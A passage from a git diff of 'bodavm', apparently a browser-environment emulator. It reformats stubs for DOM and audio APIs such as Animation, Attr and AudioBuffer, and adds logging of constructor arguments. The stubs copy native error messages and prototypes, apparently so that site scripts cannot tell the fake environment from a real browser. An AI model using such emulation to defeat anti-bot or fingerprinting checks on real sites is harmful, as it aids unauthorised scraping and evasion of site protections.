bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_get", arguments); + }, + set: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "playState", { + configurable: true, + enumerable: true, + get: function playState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "pending", { + configurable: true, + enumerable: true, + get: function pending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pending_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "onfinish", { + configurable: true, + enumerable: true, + get: function onfinish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_get", arguments); + }, + set: function onfinish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "play", { + configurable: true, + enumerable: true, + writable: true, + value: function play() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "play", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "reverse", { + configurable: true, + enumerable: true, + writable: true, + value: function reverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "reverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "updatePlaybackRate", { + configurable: true, + enumerable: true, + writable: true, + value: function updatePlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "updatePlaybackRate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "timeline", { + configurable: true, + enumerable: true, + get: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_get", arguments); + }, + set: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "replaceState", { + configurable: true, + enumerable: true, + get: function replaceState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "replaceState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "onremove", { + configurable: true, + enumerable: true, + get: function onremove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_get", arguments); + }, + set: function onremove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "commitStyles", { + configurable: true, + enumerable: true, + writable: true, + value: function commitStyles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "commitStyles", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "persist", { + configurable: true, + enumerable: true, + writable: true, + value: function persist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "persist", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AnimationEffect.js b/env_xbb_lastest_jsdom/env/AnimationEffect.js index 319d5cb0..15e1c0e3 100644 --- a/env_xbb_lastest_jsdom/env/AnimationEffect.js +++ b/env_xbb_lastest_jsdom/env/AnimationEffect.js @@ -1,6 +1,41 @@ -// AnimationEffect对象 -bodavm.memory.globalobj['AnimationEffect'] = function AnimationEffect(){if (!(this instanceof AnimationEffect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEffect'], "AnimationEffect"); -bodavm.toolsFunc.defineProperty('AnimationEffect', "getComputedTiming", {configurable:true, enumerable:true, writable:true, value:function getComputedTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getComputedTiming", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEffect', "getTiming", {configurable:true, enumerable:true, writable:true, value:function getTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getTiming", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEffect', "updateTiming", {configurable:true, enumerable:true, writable:true, value:function updateTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "updateTiming", arguments)}},'prototype'); +// AnimationEffect对象 + +bodavm.memory.globalobj['AnimationEffect'] = function AnimationEffect() { + console.log_copy('AnimationEffect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationEffect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEffect'], "AnimationEffect"); +bodavm.toolsFunc.defineProperty('AnimationEffect', "getComputedTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function getComputedTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getComputedTiming", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEffect', "getTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function getTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getTiming", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEffect', "updateTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function updateTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "updateTiming", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AnimationEvent.js b/env_xbb_lastest_jsdom/env/AnimationEvent.js index 22c27fff..a10014ec 100644 --- a/env_xbb_lastest_jsdom/env/AnimationEvent.js +++ b/env_xbb_lastest_jsdom/env/AnimationEvent.js @@ -1,8 +1,43 @@ -// AnimationEvent对象 -bodavm.memory.globalobj['AnimationEvent'] = function AnimationEvent(){if (!(this instanceof AnimationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEvent'], "AnimationEvent"); -bodavm.memory.globalobj['AnimationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AnimationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AnimationEvent', "animationName", {configurable:true, enumerable:true, get:function animationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "animationName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEvent', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "pseudoElement_get", arguments)}, set:undefined},'prototype'); +// AnimationEvent对象 + +bodavm.memory.globalobj['AnimationEvent'] = function AnimationEvent() { + console.log_copy('AnimationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEvent'], "AnimationEvent"); +bodavm.memory.globalobj['AnimationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AnimationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AnimationEvent', "animationName", { + configurable: true, + enumerable: true, + get: function animationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "animationName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEvent', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "pseudoElement_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AnimationPlaybackEvent.js b/env_xbb_lastest_jsdom/env/AnimationPlaybackEvent.js index 6ec711a8..0ad30c81 100644 --- a/env_xbb_lastest_jsdom/env/AnimationPlaybackEvent.js +++ b/env_xbb_lastest_jsdom/env/AnimationPlaybackEvent.js @@ -1,7 +1,35 @@ -// AnimationPlaybackEvent对象 -bodavm.memory.globalobj['AnimationPlaybackEvent'] = function AnimationPlaybackEvent(){if (!(this instanceof AnimationPlaybackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationPlaybackEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationPlaybackEvent'], "AnimationPlaybackEvent"); -bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AnimationPlaybackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "currentTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "timelineTime", {configurable:true, enumerable:true, get:function timelineTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "timelineTime_get", arguments)}, set:undefined},'prototype'); +// AnimationPlaybackEvent对象 + +bodavm.memory.globalobj['AnimationPlaybackEvent'] = function AnimationPlaybackEvent() { + console.log_copy('AnimationPlaybackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationPlaybackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationPlaybackEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationPlaybackEvent'], "AnimationPlaybackEvent"); +bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AnimationPlaybackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "timelineTime", { + configurable: true, + enumerable: true, + get: function timelineTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "timelineTime_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AnimationTimeline.js b/env_xbb_lastest_jsdom/env/AnimationTimeline.js index 223eca42..f070b5cc 100644 --- a/env_xbb_lastest_jsdom/env/AnimationTimeline.js +++ b/env_xbb_lastest_jsdom/env/AnimationTimeline.js @@ -1,4 +1,25 @@ -// AnimationTimeline对象 -bodavm.memory.globalobj['AnimationTimeline'] = function AnimationTimeline(){if (!(this instanceof AnimationTimeline)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationTimeline'], "AnimationTimeline"); -bodavm.toolsFunc.defineProperty('AnimationTimeline', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationTimeline'].prototype, "AnimationTimeline", "currentTime_get", arguments)}, set:undefined},'prototype'); +// AnimationTimeline对象 + +bodavm.memory.globalobj['AnimationTimeline'] = function AnimationTimeline() { + console.log_copy('AnimationTimeline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationTimeline)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationTimeline'], "AnimationTimeline"); +bodavm.toolsFunc.defineProperty('AnimationTimeline', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationTimeline'].prototype, "AnimationTimeline", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Attr.js b/env_xbb_lastest_jsdom/env/Attr.js index 0508632a..01da4607 100644 --- a/env_xbb_lastest_jsdom/env/Attr.js +++ b/env_xbb_lastest_jsdom/env/Attr.js @@ -1,12 +1,77 @@ -// Attr对象 -bodavm.memory.globalobj['Attr'] = function Attr(){if (!(this instanceof Attr)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Attr'], "Attr"); -bodavm.memory.globalobj['Attr'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['Attr'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('Attr', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "prefix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "localName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "ownerElement", {configurable:true, enumerable:true, get:function ownerElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "ownerElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "specified", {configurable:true, enumerable:true, get:function specified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "specified_get", arguments)}, set:undefined},'prototype'); +// Attr对象 + +bodavm.memory.globalobj['Attr'] = function Attr() { + console.log_copy('Attr 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Attr)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Attr'], "Attr"); +bodavm.memory.globalobj['Attr'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Attr'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Attr', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "localName", { + configurable: true, + enumerable: true, + get: function localName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "localName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "ownerElement", { + configurable: true, + enumerable: true, + get: function ownerElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "ownerElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Attr', "specified", { + configurable: true, + enumerable: true, + get: function specified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "specified_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Audio.js b/env_xbb_lastest_jsdom/env/Audio.js index e9a5dbd5..539f0049 100644 --- a/env_xbb_lastest_jsdom/env/Audio.js +++ b/env_xbb_lastest_jsdom/env/Audio.js @@ -1,4 +1,15 @@ -// Audio对象 -bodavm.memory.globalobj['Audio'] = function Audio(){this._boarg= new bodaobj.window.Audio();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Audio'], "Audio"); -bodavm.memory.globalobj['Audio'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; +// Audio对象 + +bodavm.memory.globalobj['Audio'] = function Audio() { + console.log_copy('Audio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Audio(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Audio'], "Audio"); +bodavm.memory.globalobj['Audio'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioBuffer.js b/env_xbb_lastest_jsdom/env/AudioBuffer.js index 254709b7..6ae4fa03 100644 --- a/env_xbb_lastest_jsdom/env/AudioBuffer.js +++ b/env_xbb_lastest_jsdom/env/AudioBuffer.js @@ -1,10 +1,73 @@ -// AudioBuffer对象 -bodavm.memory.globalobj['AudioBuffer'] = function AudioBuffer(){if (!(this instanceof AudioBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBuffer': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBuffer'], "AudioBuffer"); -bodavm.toolsFunc.defineProperty('AudioBuffer', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "numberOfChannels", {configurable:true, enumerable:true, get:function numberOfChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "numberOfChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "copyFromChannel", {configurable:true, enumerable:true, writable:true, value:function copyFromChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyFromChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "copyToChannel", {configurable:true, enumerable:true, writable:true, value:function copyToChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyToChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "getChannelData", {configurable:true, enumerable:true, writable:true, value:function getChannelData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "getChannelData", arguments)}},'prototype'); +// AudioBuffer对象 + +bodavm.memory.globalobj['AudioBuffer'] = function AudioBuffer() { + console.log_copy('AudioBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBuffer': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBuffer'], "AudioBuffer"); +bodavm.toolsFunc.defineProperty('AudioBuffer', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "numberOfChannels", { + configurable: true, + enumerable: true, + get: function numberOfChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "numberOfChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "copyFromChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function copyFromChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyFromChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "copyToChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function copyToChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyToChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "getChannelData", { + configurable: true, + enumerable: true, + writable: true, + value: function getChannelData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "getChannelData", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioBufferSourceNode.js b/env_xbb_lastest_jsdom/env/AudioBufferSourceNode.js index bdfdb33b..5ca13697 100644 --- a/env_xbb_lastest_jsdom/env/AudioBufferSourceNode.js +++ b/env_xbb_lastest_jsdom/env/AudioBufferSourceNode.js @@ -1,12 +1,83 @@ -// AudioBufferSourceNode对象 -bodavm.memory.globalobj['AudioBufferSourceNode'] = function AudioBufferSourceNode(){if (!(this instanceof AudioBufferSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBufferSourceNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBufferSourceNode'], "AudioBufferSourceNode"); -bodavm.memory.globalobj['AudioBufferSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['AudioBufferSourceNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "buffer", {configurable:true, enumerable:true, get:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_get", arguments)}, set:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", 